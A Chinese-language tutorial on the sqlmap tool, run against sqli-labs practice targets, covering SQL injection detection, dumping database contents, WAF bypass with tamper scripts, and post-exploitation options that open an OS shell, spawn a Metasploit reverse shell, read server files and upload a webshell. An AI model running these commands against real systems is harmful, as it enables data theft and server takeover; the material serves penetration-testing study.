sqlmap使用
E:\att_tools\web_tools\sql injection\sqlmap
基本使用
探测指定url是否存在SQL注入
无需登录
1 | sqlmap -u "url" #探测该url是否存在漏洞 |
需要登录
cookie
1 | sqlmap -u "url" --cookie="抓取的cookie" #探测该url是否存在漏洞 |
data参数
1 | sqlmap -u "url" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入 |
探测http数据包
1 | POST /sqli/Less-11/ HTTP/1.1 |
用
-p
参数来指定需要探测的参数
*
指定注入点
1 | python sqlmap.py -u "http://xx.xx.xx.xx/xxxx*/?id=1" #对url路径执行探测 |
数据库用户相关
1 | sqlmap -u "url" |
获取数据库数据
查看所有数据库(–dbs)
1 | sqlmap -u "url" --dbs |
查看当前数据表
--current-db
获取所有的表(-D [库名] –tables)
1 | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表 |
获取所有的列(-D [库名] -T [表名] –columns)
1 | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns |
获取指定数据(-D [库名] -T [表名] -C [列名] –dump)
1 | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据 |
数据库中所有数据(–dump-all)
1 | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据 |
指定注入类型
1 | –technique=(默认 BEUST) |
查看详细信息
1 | -v VERBOSE 详细级别:0-6(默认为1) |
探测WAF绕过
1 | --identify-waf 检测是否有WAF |
探测等级和危险等级(–level –risk)
1 | sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别 |
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,–risk=3
伪造Http Referer头部
Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样
1 | --referer http://www.baidu.com |
指定脚本进行绕过(–tamper)
1 | sqlmap --tamper=space2comment.py #用/**/代替空格 |
脚本位置
linux:/usr/share/sqlmap/tamper
windows:sqlmap\tamper
注入后渗透
执行指定的SQL语句(–sql-shell)
这里的SQL语句最后不要有分号
执行操作系统命令(–os-shell)
在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。
当为MySQL数据库时,需满足下面三个条件:
- 当前用户为 root
- 知道网站根目录的绝对路径
- 该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 –os-shell )
1 | python .\sqlmap.py -u "http://192.168.3.30/sql1/Less-4/?id=1" --os-shell #执行--os-shell命令 |
选择网站知道的脚本语言
do you want sqlmap to further try to provoke the full path disclosure? [Y/n]
您是否希望sqlmap进一步尝试引发完整路径的披露?【Y/n】
如果我们不知道网站的根目录的绝对路径的话,我们那里选择 4 暴力破解,尝试破解出根目录的绝对路径。这里因为是我们本地的环境,已经知道网站根目录的绝对地址了,所以选择 2
- 【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
- 【2】自定义网络根目录绝对路径
- 【3】指定自定义的路径文件
- 【4】暴力破解
如果报错,无写入权限,修改my.ini
1 | secure_auth = ON |
执行os-shell的过程中,sqlmap向网站根目录写入两个文件 tmpbxttd.php 和 tmpumosw.php。真正的木马文件是tmpbxttd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。
tmpbxttd.php
1 |
|
tmpumosw.php
1 | 1 Dumb Dumb |
反弹一个MSF的shell(–os-pwn)
在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。并且需要当前获取的权限足够高才可以。
1 | python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --os-pwn |
读取服务器文件(–file-read)
当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
1 | python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --file-read "E:\phpStudy\PHPTutorial\WWW\sql1\Less-4\test.txt" #读取目标服务器C盘下的test.txt文件 |
文件成功读取保存到上图路径
上传文件到数据库服务器中(–file-write –file-dest)
当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
前提是我们知道网络的绝对路径
1 | python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --file-write C:\Users\DropAnn\Desktop\1.php --file-dest "E:\phpStudy\PHPTutorial\WWW\sql1\Less-4\test.php" |
判断是否上传成功判断,对比文件大小是否一致